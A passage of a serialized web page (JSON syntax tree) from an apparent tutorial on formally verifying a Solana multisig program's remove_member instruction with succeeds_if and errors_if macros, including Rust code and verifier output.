MsAuth",{"type":23,"tag":213,"props":25571,"children":25572},{"style":220},[25573],{"type":28,"value":358},{"type":23,"tag":213,"props":25575,"children":25576},{"style":290},[25577],{"type":28,"value":22976},{"type":23,"tag":213,"props":25579,"children":25580},{"style":220},[25581],{"type":28,"value":905},{"type":23,"tag":213,"props":25583,"children":25584},{"class":215,"line":524},[25585,25589,25593],{"type":23,"tag":213,"props":25586,"children":25587},{"style":220},[25588],{"type":28,"value":23177},{"type":23,"tag":213,"props":25590,"children":25591},{"style":230},[25592],{"type":28,"value":287},{"type":23,"tag":213,"props":25594,"children":25595},{"style":220},[25596],{"type":28,"value":20313},{"type":23,"tag":213,"props":25598,"children":25599},{"class":215,"line":533},[25600,25605,25609,25614,25618,25622,25626,25630,25634,25638],{"type":23,"tag":213,"props":25601,"children":25602},{"style":268},[25603],{"type":28,"value":25604}," multisig",{"type":23,"tag":213,"props":25606,"children":25607},{"style":274},[25608],{"type":28,"value":277},{"type":23,"tag":213,"props":25610,"children":25611},{"style":290},[25612],{"type":28,"value":25613}," Box",{"type":23,"tag":213,"props":25615,"children":25616},{"style":220},[25617],{"type":28,"value":434},{"type":23,"tag":213,"props":25619,"children":25620},{"style":290},[25621],{"type":28,"value":17197},{"type":23,"tag":213,"props":25623,"children":25624},{"style":220},[25625],{"type":28,"value":358},{"type":23,"tag":213,"props":25627,"children":25628},{"style":290},[25629],{"type":28,"value":22976},{"type":23,"tag":213,"props":25631,"children":25632},{"style":220},[25633],{"type":28,"value":424},{"type":23,"tag":213,"props":25635,"children":25636},{"style":290},[25637],{"type":28,"value":22791},{"type":23,"tag":213,"props":25639,"children":25640},{"style":220},[25641],{"type":28,"value":1052},{"type":23,"tag":213,"props":25643,"children":25644},{"class":215,"line":543},[25645],{"type":23,"tag":213,"props":25646,"children":25647},{"style":220},[25648],{"type":28,"value":22988},{"type":23,"tag":213,"props":25650,"children":25651},{"class":215,"line":551},[25652,25657],{"type":23,"tag":213,"props":25653,"children":25654},{"style":230},[25655],{"type":28,"value":25656}," mut",{"type":23,"tag":213,"props":25658,"children":25659},{"style":220},[25660],{"type":28,"value":944},{"type":23,"tag":213,"props":25662,"children":25663},{"class":215,"line":570},[25664,25668,25672],{"type":23,"tag":213,"props":25665,"children":25666},{"style":220},[25667],{"type":28,"value":23072},{"type":23,"tag":213,"props":25669,"children":25670},{"style":274},[25671],{"type":28,"value":3190},{"type":23,"tag":213,"props":25673,"children":25674},{"style":220},[25675],{"type":28,"value":25676}," [\n",{"type":23,"tag":213,"props":25678,"children":25679},{"class":215,"line":655},[25680,25685],{"type":23,"tag":213,"props":25681,"children":25682},{"style":246},[25683],{"type":28,"value":25684}," b\"squad\"",{"type":23,"tag":213,"props":25686,"children":25687},{"style":220},[25688],{"type":28,"value":944},{"type":23,"tag":213,"props":25690,"children":25691},{"class":215,"line":1176},[25692,25697,25701,25706,25710],{"type":23,"tag":213,"props":25693,"children":25694},{"style":220},[25695],{"type":28,"value":25696}," multisig",{"type":23,"tag":213,"props":25698,"children":25699},{"style":274},[25700],{"type":28,"value":124},{"type":23,"tag":213,"props":25702,"children":25703},{"style":220},[25704],{"type":28,"value":25705},"create_key",{"type":23,"tag":213,"props":25707,"children":25708},{"style":274},[25709],{"type":28,"value":124},{"type":23,"tag":213,"props":25711,"children":25712},{"style":220},[25713],{"type":28,"value":25714},"as_ref(),\n",{"type":23,"tag":213,"props":25716,"children":25717},{"class":215,"line":1202},[25718],{"type":23,"tag":213,"props":25719,"children":25720},{"style":246},[25721],{"type":28,"value":25722}," b\"multisig\"\n",{"type":23,"tag":213,"props":25724,"children":25725},{"class":215,"line":1758},[25726,25731,25736,25740,25744,25748],{"type":23,"tag":213,"props":25727,"children":25728},{"style":220},[25729],{"type":28,"value":25730}," ], ",{"type":23,"tag":213,"props":25732,"children":25733},{"style":268},[25734],{"type":28,"value":25735},"bump",{"type":23,"tag":213,"props":25737,"children":25738},{"style":274},[25739],{"type":28,"value":511},{"type":23,"tag":213,"props":25741,"children":25742},{"style":268},[25743],{"type":28,"value":23133},{"type":23,"tag":213,"props":25745,"children":25746},{"style":274},[25747],{"type":28,"value":124},{"type":23,"tag":213,"props":25749,"children":25750},{"style":220},[25751],{"type":28,"value":23113},{"type":23,"tag":213,"props":25753,"children":25754},{"class":215,"line":1767},[25755],{"type":23,"tag":213,"props":25756,"children":25757},{"style":220},[25758],{"type":28,"value":23121},{"type":23,"tag":213,"props":25760,"children":25761},{"class":215,"line":1789},[25762,25766,25771,25775,25779,25783,25787],{"type":23,"tag":213,"props":25763,"children":25764},{"style":230},[25765],{"type":28,"value":913},{"type":23,"tag":213,"props":25767,"children":25768},{"style":268},[25769],{"type":28,"value":25770}," multisig_auth",{"type":23,"tag":213,"props":25772,"children":25773},{"style":274},[25774],{"type":28,"value":277},{"type":23,"tag":213,"props":25776,"children":25777},{"style":290},[25778],{"type":28,"value":23206},{"type":23,"tag":213,"props":25780,"children":25781},{"style":220},[25782],{"type":28,"value":358},{"type":23,"tag":213,"props":25784,"children":25785},{"style":290},[25786],{"type":28,"value":22976},{"type":23,"tag":213,"props":25788,"children":25789},{"style":220},[25790],{"type":28,"value":6230},{"type":23,"tag":213,"props":25792,"children":25793},{"class":215,"line":1812},[25794],{"type":23,"tag":213,"props":25795,"children":25796},{"style":220},[25797],{"type":28,"value":1208},{"type":23,"tag":213,"props":25799,"children":25800},{"class":215,"line":1838},[25801],{"type":23,"tag":213,"props":25802,"children":25803},{"emptyLinePlaceholder":18},[25804],{"type":28,"value":530},{"type":23,"tag":213,"props":25806,"children":25807},{"class":215,"line":1851},[25808,25812,25816,25821,25825,25829,25833,25837,25841,25846,25850,25855,25859,25863,25867,25871,25875],{"type":23,"tag":213,"props":25809,"children":25810},{"style":230},[25811],{"type":28,"value":233},{"type":23,"tag":213,"props":25813,"children":25814},{"style":230},[25815],{"type":28,"value":254},{"type":23,"tag":213,"props":25817,"children":25818},{"style":257},[25819],{"type":28,"value":25820}," remove_member",{"type":23,"tag":213,"props":25822,"children":25823},{"style":220},[25824],{"type":28,"value":265},{"type":23,"tag":213,"props":25826,"children":25827},{"style":268},[25828],{"type":28,"value":20335},{"type":23,"tag":213,"props":25830,"children":25831},{"style":274},[25832],{"type":28,"value":277},{"type":23,"tag":213,"props":25834,"children":25835},{"style":290},[25836],{"type":28,"value":20344},{"type":23,"tag":213,"props":25838,"children":25839},{"style":220},[25840],{"type":28,"value":434},{"type":23,"tag":213,"props":25842,"children":25843},{"style":290},[25844],{"type":28,"value":25845},"MsAuth",{"type":23,"tag":213,"props":25847,"children":25848},{"style":220},[25849],{"type":28,"value":6723},{"type":23,"tag":213,"props":25851,"children":25852},{"style":268},[25853],{"type":28,"value":25854},"old_member",{"type":23,"tag":213,"props":25856,"children":25857},{"style":274},[25858],{"type":28,"value":277},{"type":23,"tag":213,"props":25860,"children":25861},{"style":290},[25862],{"type":28,"value":419},{"type":23,"tag":213,"props":25864,"children":25865},{"style":220},[25866],{"type":28,"value":298},{"type":23,"tag":213,"props":25868,"children":25869},{"style":274},[25870],{"type":28,"value":303},{"type":23,"tag":213,"props":25872,"children":25873},{"style":290},[25874],{"type":28,"value":13838},{"type":23,"tag":213,"props":25876,"children":25877},{"style":220},[25878],{"type":28,"value":20386},{"type":23,"tag":213,"props":25880,"children":25881},{"class":215,"line":1864},[25882],{"type":23,"tag":213,"props":25883,"children":25884},{"style":537},[25885],{"type":28,"value":25886}," // if there is only one key in this multisig, reject the removal\n",{"type":23,"tag":213,"props":25888,"children":25889},{"class":215,"line":1890},[25890,25894,25899,25903,25907,25911,25915,25919,25923,25927,25931,25935,25939,25943],{"type":23,"tag":213,"props":25891,"children":25892},{"style":1362},[25893],{"type":28,"value":2653},{"type":23,"tag":213,"props":25895,"children":25896},{"style":268},[25897],{"type":28,"value":25898}," ctx",{"type":23,"tag":213,"props":25900,"children":25901},{"style":274},[25902],{"type":28,"value":124},{"type":23,"tag":213,"props":25904,"children":25905},{"style":220},[25906],{"type":28,"value":14743},{"type":23,"tag":213,"props":25908,"children":25909},{"style":274},[25910],{"type":28,"value":124},{"type":23,"tag":213,"props":25912,"children":25913},{"style":220},[25914],{"type":28,"value":23864},{"type":23,"tag":213,"props":25916,"children":25917},{"style":274},[25918],{"type":28,"value":124},{"type":23,"tag":213,"props":25920,"children":25921},{"style":220},[25922],{"type":28,"value":21034},{"type":23,"tag":213,"props":25924,"children":25925},{"style":274},[25926],{"type":28,"value":124},{"type":23,"tag":213,"props":25928,"children":25929},{"style":257},[25930],{"type":28,"value":9225},{"type":23,"tag":213,"props":25932,"children":25933},{"style":220},[25934],{"type":28,"value":2698},{"type":23,"tag":213,"props":25936,"children":25937},{"style":274},[25938],{"type":28,"value":8660},{"type":23,"tag":213,"props":25940,"children":25941},{"style":514},[25942],{"type":28,"value":4618},{"type":23,"tag":213,"props":25944,"children":25945},{"style":220},[25946],{"type":28,"value":1375},{"type":23,"tag":213,"props":25948,"children":25949},{"class":215,"line":1899},[25950,25954,25958,25962,25966,25970,25975],{"type":23,"tag":213,"props":25951,"children":25952},{"style":1362},[25953],{"type":28,"value":2839},{"type":23,"tag":213,"props":25955,"children":25956},{"style":257},[25957],{"type":28,"value":23567},{"type":23,"tag":213,"props":25959,"children":25960},{"style":220},[25961],{"type":28,"value":265},{"type":23,"tag":213,"props":25963,"children":25964},{"style":290},[25965],{"type":28,"value":23576},{"type":23,"tag":213,"props":25967,"children":25968},{"style":274},[25969],{"type":28,"value":562},{"type":23,"tag":213,"props":25971,"children":25972},{"style":290},[25973],{"type":28,"value":25974},"CannotRemoveSoloMember",{"type":23,"tag":213,"props":25976,"children":25977},{"style":220},[25978],{"type":28,"value":2867},{"type":23,"tag":213,"props":25980,"children":25981},{"class":215,"line":1912},[25982],{"type":23,"tag":213,"props":25983,"children":25984},{"style":220},[25985],{"type":28,"value":2875},{"type":23,"tag":213,"props":25987,"children":25988},{"class":215,"line":1921},[25989,25993,25997,26001,26005,26009,26013,26017,26021,26025,26029,26033],{"type":23,"tag":213,"props":25990,"children":25991},{"style":268},[25992],{"type":28,"value":20278},{"type":23,"tag":213,"props":25994,"children":25995},{"style":274},[25996],{"type":28,"value":124},{"type":23,"tag":213,"props":25998,"children":25999},{"style":220},[26000],{"type":28,"value":14743},{"type":23,"tag":213,"props":26002,"children":26003},{"style":274},[26004],{"type":28,"value":124},{"type":23,"tag":213,"props":26006,"children":26007},{"style":220},[26008],{"type":28,"value":23864},{"type":23,"tag":213,"props":26010,"children":26011},{"style":274},[26012],{"type":28,"value":124},{"type":23,"tag":213,"props":26014,"children":26015},{"style":257},[26016],{"type":28,"value":25521},{"type":23,"tag":213,"props":26018,"children":26019},{"style":220},[26020],{"type":28,"value":265},{"type":23,"tag":213,"props":26022,"children":26023},{"style":268},[26024],{"type":28,"value":25854},{"type":23,"tag":213,"props":26026,"children":26027},{"style":220},[26028],{"type":28,"value":2121},{"type":23,"tag":213,"props":26030,"children":26031},{"style":274},[26032],{"type":28,"value":2126},{"type":23,"tag":213,"props":26034,"children":26035},{"style":220},[26036],{"type":28,"value":313},{"type":23,"tag":213,"props":26038,"children":26039},{"class":215,"line":3879},[26040],{"type":23,"tag":213,"props":26041,"children":26042},{"emptyLinePlaceholder":18},[26043],{"type":28,"value":530},{"type":23,"tag":213,"props":26045,"children":26046},{"class":215,"line":3887},[26047],{"type":23,"tag":213,"props":26048,"children":26049},{"style":537},[26050],{"type":28,"value":26051}," // if the number of keys is now less than the threshold, adjust it\n",{"type":23,"tag":213,"props":26053,"children":26054},{"class":215,"line":3918},[26055,26059,26063,26067,26071,26075,26079,26083,26087,26091,26095,26100,26104,26108,26112,26116,26120,26124,26128,26132,26136,26140],{"type":23,"tag":213,"props":26056,"children":26057},{"style":1362},[26058],{"type":28,"value":2653},{"type":23,"tag":213,"props":26060,"children":26061},{"style":268},[26062],{"type":28,"value":25898},{"type":23,"tag":213,"props":26064,"children":26065},{"style":274},[26066],{"type":28,"value":124},{"type":23,"tag":213,"props":26068,"children":26069},{"style":220},[26070],{"type":28,"value":14743},{"type":23,"tag":213,"props":26072,"children":26073},{"style":274},[26074],{"type":28,"value":124},{"type":23,"tag":213,"props":26076,"children":26077},{"style":220},[26078],{"type":28,"value":23864},{"type":23,"tag":213,"props":26080,"children":26081},{"style":274},[26082],{"type":28,"value":124},{"type":23,"tag":213,"props":26084,"children":26085},{"style":220},[26086],{"type":28,"value":21034},{"type":23,"tag":213,"props":26088,"children":26089},{"style":274},[26090],{"type":28,"value":124},{"type":23,"tag":213,"props":26092,"children":26093},{"style":257},[26094],{"type":28,"value":9225},{"type":23,"tag":213,"props":26096,"children":26097},{"style":220},[26098],{"type":28,"value":26099},"() \u003C ",{"type":23,"tag":213,"props":26101,"children":26102},{"style":290},[26103],{"type":28,"value":16653},{"type":23,"tag":213,"props":26105,"children":26106},{"style":274},[26107],{"type":28,"value":562},{"type":23,"tag":213,"props":26109,"children":26110},{"style":257},[26111],{"type":28,"value":19527},{"type":23,"tag":213,"props":26113,"children":26114},{"style":220},[26115],{"type":28,"value":265},{"type":23,"tag":213,"props":26117,"children":26118},{"style":268},[26119],{"type":28,"value":20335},{"type":23,"tag":213,"props":26121,"children":26122},{"style":274},[26123],{"type":28,"value":124},{"type":23,"tag":213,"props":26125,"children":26126},{"style":220},[26127],{"type":28,"value":14743},{"type":23,"tag":213,"props":26129,"children":26130},{"style":274},[26131],{"type":28,"value":124},{"type":23,"tag":213,"props":26133,"children":26134},{"style":220},[26135],{"type":28,"value":23864},{"type":23,"tag":213,"props":26137,"children":26138},{"style":274},[26139],{"type":28,"value":124},{"type":23,"tag":213,"props":26141,"children":26142},{"style":220},[26143],{"type":28,"value":26144},"threshold) {\n",{"type":23,"tag":213,"props":26146,"children":26147},{"class":215,"line":3926},[26148,26152,26157,26161,26165,26169,26173,26177,26181,26185,26189,26193,26197,26201,26205,26209,26213,26218,26222,26226,26230],{"type":23,"tag":213,"props":26149,"children":26150},{"style":230},[26151],{"type":28,"value":3163},{"type":23,"tag":213,"props":26153,"children":26154},{"style":268},[26155],{"type":28,"value":26156}," new_threshold",{"type":23,"tag":213,"props":26158,"children":26159},{"style":274},[26160],{"type":28,"value":277},{"type":23,"tag":213,"props":26162,"children":26163},{"style":290},[26164],{"type":28,"value":21081},{"type":23,"tag":213,"props":26166,"children":26167},{"style":274},[26168],{"type":28,"value":511},{"type":23,"tag":213,"props":26170,"children":26171},{"style":268},[26172],{"type":28,"value":25898},{"type":23,"tag":213,"props":26174,"children":26175},{"style":274},[26176],{"type":28,"value":124},{"type":23,"tag":213,"props":26178,"children":26179},{"style":220},[26180],{"type":28,"value":14743},{"type":23,"tag":213,"props":26182,"children":26183},{"style":274},[26184],{"type":28,"value":124},{"type":23,"tag":213,"props":26186,"children":26187},{"style":220},[26188],{"type":28,"value":23864},{"type":23,"tag":213,"props":26190,"children":26191},{"style":274},[26192],{"type":28,"value":124},{"type":23,"tag":213,"props":26194,"children":26195},{"style":220},[26196],{"type":28,"value":21034},{"type":23,"tag":213,"props":26198,"children":26199},{"style":274},[26200],{"type":28,"value":124},{"type":23,"tag":213,"props":26202,"children":26203},{"style":257},[26204],{"type":28,"value":9225},{"type":23,"tag":213,"props":26206,"children":26207},{"style":220},[26208],{"type":28,"value":13955},{"type":23,"tag":213,"props":26210,"children":26211},{"style":274},[26212],{"type":28,"value":124},{"type":23,"tag":213,"props":26214,"children":26215},{"style":257},[26216],{"type":28,"value":26217},"try_into",{"type":23,"tag":213,"props":26219,"children":26220},{"style":220},[26221],{"type":28,"value":13955},{"type":23,"tag":213,"props":26223,"children":26224},{"style":274},[26225],{"type":28,"value":124},{"type":23,"tag":213,"props":26227,"children":26228},{"style":257},[26229],{"type":28,"value":3754},{"type":23,"tag":213,"props":26231,"children":26232},{"style":220},[26233],{"type":28,"value":3759},{"type":23,"tag":213,"props":26235,"children":26236},{"class":215,"line":3986},[26237,26242,26246,26250,26254,26258,26262,26267,26271,26276,26280,26284],{"type":23,"tag":213,"props":26238,"children":26239},{"style":268},[26240],{"type":28,"value":26241}," ctx",{"type":23,"tag":213,"props":26243,"children":26244},{"style":274},[26245],{"type":28,"value":124},{"type":23,"tag":213,"props":26247,"children":26248},{"style":220},[26249],{"type":28,"value":14743},{"type":23,"tag":213,"props":26251,"children":26252},{"style":274},[26253],{"type":28,"value":124},{"type":23,"tag":213,"props":26255,"children":26256},{"style":220},[26257],{"type":28,"value":23864},{"type":23,"tag":213,"props":26259,"children":26260},{"style":274},[26261],{"type":28,"value":124},{"type":23,"tag":213,"props":26263,"children":26264},{"style":257},[26265],{"type":28,"value":26266},"change_threshold",{"type":23,"tag":213,"props":26268,"children":26269},{"style":220},[26270],{"type":28,"value":265},{"type":23,"tag":213,"props":26272,"children":26273},{"style":268},[26274],{"type":28,"value":26275},"new_threshold",{"type":23,"tag":213,"props":26277,"children":26278},{"style":220},[26279],{"type":28,"value":2121},{"type":23,"tag":213,"props":26281,"children":26282},{"style":274},[26283],{"type":28,"value":2126},{"type":23,"tag":213,"props":26285,"children":26286},{"style":220},[26287],{"type":28,"value":313},{"type":23,"tag":213,"props":26289,"children":26290},{"class":215,"line":9132},[26291],{"type":23,"tag":213,"props":26292,"children":26293},{"style":220},[26294],{"type":28,"value":2875},{"type":23,"tag":213,"props":26296,"children":26297},{"class":215,"line":9150},[26298,26302,26307,26311,26315,26319,26323,26327,26331,26335],{"type":23,"tag":213,"props":26299,"children":26300},{"style":230},[26301],{"type":28,"value":487},{"type":23,"tag":213,"props":26303,"children":26304},{"style":268},[26305],{"type":28,"value":26306}," new_index",{"type":23,"tag":213,"props":26308,"children":26309},{"style":274},[26310],{"type":28,"value":511},{"type":23,"tag":213,"props":26312,"children":26313},{"style":268},[26314],{"type":28,"value":25898},{"type":23,"tag":213,"props":26316,"children":26317},{"style":274},[26318],{"type":28,"value":124},{"type":23,"tag":213,"props":26320,"children":26321},{"style":220},[26322],{"type":28,"value":14743},{"type":23,"tag":213,"props":26324,"children":26325},{"style":274},[26326],{"type":28,"value":124},{"type":23,"tag":213,"props":26328,"children":26329},{"style":220},[26330],{"type":28,"value":23864},{"type":23,"tag":213,"props":26332,"children":26333},{"style":274},[26334],{"type":28,"value":124},{"type":23,"tag":213,"props":26336,"children":26337},{"style":220},[26338],{"type":28,"value":26339},"transaction_index;\n",{"type":23,"tag":213,"props":26341,"children":26342},{"class":215,"line":9195},[26343,26347,26351,26355,26359,26363,26367,26372,26376,26381],{"type":23,"tag":213,"props":26344,"children":26345},{"style":268},[26346],{"type":28,"value":20278},{"type":23,"tag":213,"props":26348,"children":26349},{"style":274},[26350],{"type":28,"value":124},{"type":23,"tag":213,"props":26352,"children":26353},{"style":220},[26354],{"type":28,"value":14743},{"type":23,"tag":213,"props":26356,"children":26357},{"style":274},[26358],{"type":28,"value":124},{"type":23,"tag":213,"props":26360,"children":26361},{"style":220},[26362],{"type":28,"value":23864},{"type":23,"tag":213,"props":26364,"children":26365},{"style":274},[26366],{"type":28,"value":124},{"type":23,"tag":213,"props":26368,"children":26369},{"style":257},[26370],{"type":28,"value":26371},"set_change_index",{"type":23,"tag":213,"props":26373,"children":26374},{"style":220},[26375],{"type":28,"value":265},{"type":23,"tag":213,"props":26377,"children":26378},{"style":268},[26379],{"type":28,"value":26380},"new_index",{"type":23,"tag":213,"props":26382,"children":26383},{"style":220},[26384],{"type":28,"value":2183},{"type":23,"tag":213,"props":26386,"children":26387},{"class":215,"line":9301},[26388],{"type":23,"tag":213,"props":26389,"children":26390},{"style":220},[26391],{"type":28,"value":1208},{"type":23,"tag":24,"props":26393,"children":26394},{},[26395,26397,26402],{"type":28,"value":26396},"First let's establish the ",{"type":23,"tag":209,"props":26398,"children":26400},{"className":26399},[],[26401],{"type":28,"value":20209},{"type":28,"value":26403}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":23,"tag":202,"props":26405,"children":26407},{"code":26406,"language":205,"meta":7,"className":206,"style":7},"#[succeeds_if(\n ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[26408],{"type":23,"tag":209,"props":26409,"children":26410},{"__ignoreMap":7},[26411,26418,26465,26472],{"type":23,"tag":213,"props":26412,"children":26413},{"class":215,"line":216},[26414],{"type":23,"tag":213,"props":26415,"children":26416},{"style":220},[26417],{"type":28,"value":24170},{"type":23,"tag":213,"props":26419,"children":26420},{"class":215,"line":226},[26421,26425,26429,26433,26437,26441,26445,26449,26453,26457,26461],{"type":23,"tag":213,"props":26422,"children":26423},{"style":220},[26424],{"type":28,"value":20278},{"type":23,"tag":213,"props":26426,"children":26427},{"style":274},[26428],{"type":28,"value":124},{"type":23,"tag":213,"props":26430,"children":26431},{"style":220},[26432],{"type":28,"value":14743},{"type":23,"tag":213,"props":26434,"children":26435},{"style":274},[26436],{"type":28,"value":124},{"type":23,"tag":213,"props":26438,"children":26439},{"style":220},[26440],{"type":28,"value":23864},{"type":23,"tag":213,"props":26442,"children":26443},{"style":274},[26444],{"type":28,"value":124},{"type":23,"tag":213,"props":26446,"children":26447},{"style":220},[26448],{"type":28,"value":21034},{"type":23,"tag":213,"props":26450,"children":26451},{"style":274},[26452],{"type":28,"value":124},{"type":23,"tag":213,"props":26454,"children":26455},{"style":220},[26456],{"type":28,"value":21072},{"type":23,"tag":213,"props":26458,"children":26459},{"style":274},[26460],{"type":28,"value":10545},{"type":23,"tag":213,"props":26462,"children":26463},{"style":220},[26464],{"type":28,"value":19496},{"type":23,"tag":213,"props":26466,"children":26467},{"class":215,"line":524},[26468],{"type":23,"tag":213,"props":26469,"children":26470},{"style":220},[26471],{"type":28,"value":20313},{"type":23,"tag":213,"props":26473,"children":26474},{"class":215,"line":533},[26475,26479,26483,26487,26491,26495,26499],{"type":23,"tag":213,"props":26476,"children":26477},{"style":230},[26478],{"type":28,"value":20321},{"type":23,"tag":213,"props":26480,"children":26481},{"style":257},[26482],{"type":28,"value":25820},{"type":23,"tag":213,"props":26484,"children":26485},{"style":220},[26486],{"type":28,"value":265},{"type":23,"tag":213,"props":26488,"children":26489},{"style":274},[26490],{"type":28,"value":9675},{"type":23,"tag":213,"props":26492,"children":26493},{"style":220},[26494],{"type":28,"value":24047},{"type":23,"tag":213,"props":26496,"children":26497},{"style":274},[26498],{"type":28,"value":9675},{"type":23,"tag":213,"props":26500,"children":26501},{"style":220},[26502],{"type":28,"value":9680},{"type":23,"tag":24,"props":26504,"children":26505},{},[26506,26508,26513],{"type":28,"value":26507},"And for now let's remove the invariant on the ",{"type":23,"tag":209,"props":26509,"children":26511},{"className":26510},[],[26512],{"type":28,"value":22791},{"type":28,"value":26514}," account:",{"type":23,"tag":202,"props":26516,"children":26518},{"code":26517,"language":205,"meta":7,"className":206,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[26519],{"type":23,"tag":209,"props":26520,"children":26521},{"__ignoreMap":7},[26522,26530],{"type":23,"tag":213,"props":26523,"children":26524},{"class":215,"line":216},[26525],{"type":23,"tag":213,"props":26526,"children":26527},{"style":220},[26528],{"type":28,"value":26529},"#[invariant()]\n",{"type":23,"tag":213,"props":26531,"children":26532},{"class":215,"line":226},[26533,26537,26541,26545,26549,26553],{"type":23,"tag":213,"props":26534,"children":26535},{"style":230},[26536],{"type":28,"value":233},{"type":23,"tag":213,"props":26538,"children":26539},{"style":230},[26540],{"type":28,"value":887},{"type":23,"tag":213,"props":26542,"children":26543},{"style":290},[26544],{"type":28,"value":21206},{"type":23,"tag":213,"props":26546,"children":26547},{"style":220},[26548],{"type":28,"value":2572},{"type":23,"tag":213,"props":26550,"children":26551},{"style":274},[26552],{"type":28,"value":9675},{"type":23,"tag":213,"props":26554,"children":26555},{"style":220},[26556],{"type":28,"value":9680},{"type":23,"tag":24,"props":26558,"children":26559},{},[26560],{"type":28,"value":26561},"Let's test this!",{"type":23,"tag":24,"props":26563,"children":26564},{},[26565,26567,26572],{"type":28,"value":26566},"Our ",{"type":23,"tag":209,"props":26568,"children":26570},{"className":26569},[],[26571],{"type":28,"value":20209},{"type":28,"value":26573}," harness produces:",{"type":23,"tag":202,"props":26575,"children":26577},{"code":26576},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[26578],{"type":23,"tag":209,"props":26579,"children":26580},{"__ignoreMap":7},[26581],{"type":28,"value":26576},{"type":23,"tag":24,"props":26583,"children":26584},{},[26585],{"type":28,"value":26586},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":23,"tag":24,"props":26588,"children":26589},{},[26590,26592,26597],{"type":28,"value":26591},"However, remember that since ",{"type":23,"tag":209,"props":26593,"children":26595},{"className":26594},[],[26596],{"type":28,"value":20209},{"type":28,"value":26598}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":23,"tag":24,"props":26600,"children":26601},{},[26602,26604,26609,26611,26616,26618,26623],{"type":28,"value":26603},"Suppose we want to be sure that this condition is the ",{"type":23,"tag":87,"props":26605,"children":26606},{},[26607],{"type":28,"value":26608},"only condition",{"type":28,"value":26610}," in which the function will succeed (i.e. ",{"type":23,"tag":87,"props":26612,"children":26613},{},[26614],{"type":28,"value":26615},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":28,"value":26617},"). We could attempt to verify the other side of this with an ",{"type":23,"tag":209,"props":26619,"children":26621},{"className":26620},[],[26622],{"type":28,"value":20216},{"type":28,"value":26624}," macro such as:",{"type":23,"tag":202,"props":26626,"children":26628},{"code":26627,"language":205,"meta":7,"className":206,"style":7},"#[succeeds_if(\n ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[26629],{"type":23,"tag":209,"props":26630,"children":26631},{"__ignoreMap":7},[26632,26639,26686,26693,26700,26747,26754],{"type":23,"tag":213,"props":26633,"children":26634},{"class":215,"line":216},[26635],{"type":23,"tag":213,"props":26636,"children":26637},{"style":220},[26638],{"type":28,"value":24170},{"type":23,"tag":213,"props":26640,"children":26641},{"class":215,"line":226},[26642,26646,26650,26654,26658,26662,26666,26670,26674,26678,26682],{"type":23,"tag":213,"props":26643,"children":26644},{"style":220},[26645],{"type":28,"value":20278},{"type":23,"tag":213,"props":26647,"children":26648},{"style":274},[26649],{"type":28,"value":124},{"type":23,"tag":213,"props":26651,"children":26652},{"style":220},[26653],{"type":28,"value":14743},{"type":23,"tag":213,"props":26655,"children":26656},{"style":274},[26657],{"type":28,"value":124},{"type":23,"tag":213,"props":26659,"children":26660},{"style":220},[26661],{"type":28,"value":23864},{"type":23,"tag":213,"props":26663,"children":26664},{"style":274},[26665],{"type":28,"value":124},{"type":23,"tag":213,"props":26667,"children":26668},{"style":220},[26669],{"type":28,"value":21034},{"type":23,"tag":213,"props":26671,"children":26672},{"style":274},[26673],{"type":28,"value":124},{"type":23,"tag":213,"props":26675,"children":26676},{"style":220},[26677],{"type":28,"value":21072},{"type":23,"tag":213,"props":26679,"children":26680},{"style":274},[26681],{"type":28,"value":10545},{"type":23,"tag":213,"props":26683,"children":26684},{"style":220},[26685],{"type":28,"value":19496},{"type":23,"tag":213,"props":26687,"children":26688},{"class":215,"line":524},[26689],{"type":23,"tag":213,"props":26690,"children":26691},{"style":220},[26692],{"type":28,"value":20313},{"type":23,"tag":213,"props":26694,"children":26695},{"class":215,"line":533},[26696],{"type":23,"tag":213,"props":26697,"children":26698},{"style":220},[26699],{"type":28,"value":20270},{"type":23,"tag":213,"props":26701,"children":26702},{"class":215,"line":543},[26703,26707,26711,26715,26719,26723,26727,26731,26735,26739,26743],{"type":23,"tag":213,"props":26704,"children":26705},{"style":220},[26706],{"type":28,"value":20278},{"type":23,"tag":213,"props":26708,"children":26709},{"style":274},[26710],{"type":28,"value":124},{"type":23,"tag":213,"props":26712,"children":26713},{"style":220},[26714],{"type":28,"value":14743},{"type":23,"tag":213,"props":26716,"children":26717},{"style":274},[26718],{"type":28,"value":124},{"type":23,"tag":213,"props":26720,"children":26721},{"style":220},[26722],{"type":28,"value":23864},{"type":23,"tag":213,"props":26724,"children":26725},{"style":274},[26726],{"type":28,"value":124},{"type":23,"tag":213,"props":26728,"children":26729},{"style":220},[26730],{"type":28,"value":21034},{"type":23,"tag":213,"props":26732,"children":26733},{"style":274},[26734],{"type":28,"value":124},{"type":23,"tag":213,"props":26736,"children":26737},{"style":220},[26738],{"type":28,"value":21072},{"type":23,"tag":213,"props":26740,"children":26741},{"style":274},[26742],{"type":28,"value":19468},{"type":23,"tag":213,"props":26744,"children":26745},{"style":220},[26746],{"type":28,"value":19496},{"type":23,"tag":213,"props":26748,"children":26749},{"class":215,"line":551},[26750],{"type":23,"tag":213,"props":26751,"children":26752},{"style":220},[26753],{"type":28,"value":20313},{"type":23,"tag":213,"props":26755,"children":26756},{"class":215,"line":570},[26757,26761,26765,26769,26773,26777,26781],{"type":23,"tag":213,"props":26758,"children":26759},{"style":230},[26760],{"type":28,"value":20321},{"type":23,"tag":213,"props":26762,"children":26763},{"style":257},[26764],{"type":28,"value":25820},{"type":23,"tag":213,"props":26766,"children":26767},{"style":220},[26768],{"type":28,"value":265},{"type":23,"tag":213,"props":26770,"children":26771},{"style":274},[26772],{"type":28,"value":9675},{"type":23,"tag":213,"props":26774,"children":26775},{"style":220},[26776],{"type":28,"value":24047},{"type":23,"tag":213,"props":26778,"children":26779},{"style":274},[26780],{"type":28,"value":9675},{"type":23,"tag":213,"props":26782,"children":26783},{"style":220},[26784],{"type":28,"value":9680},{"type":23,"tag":24,"props":26786,"children":26787},{},[26788,26790,26795],{"type":28,"value":26789},"Let's test this, we just need to run the new 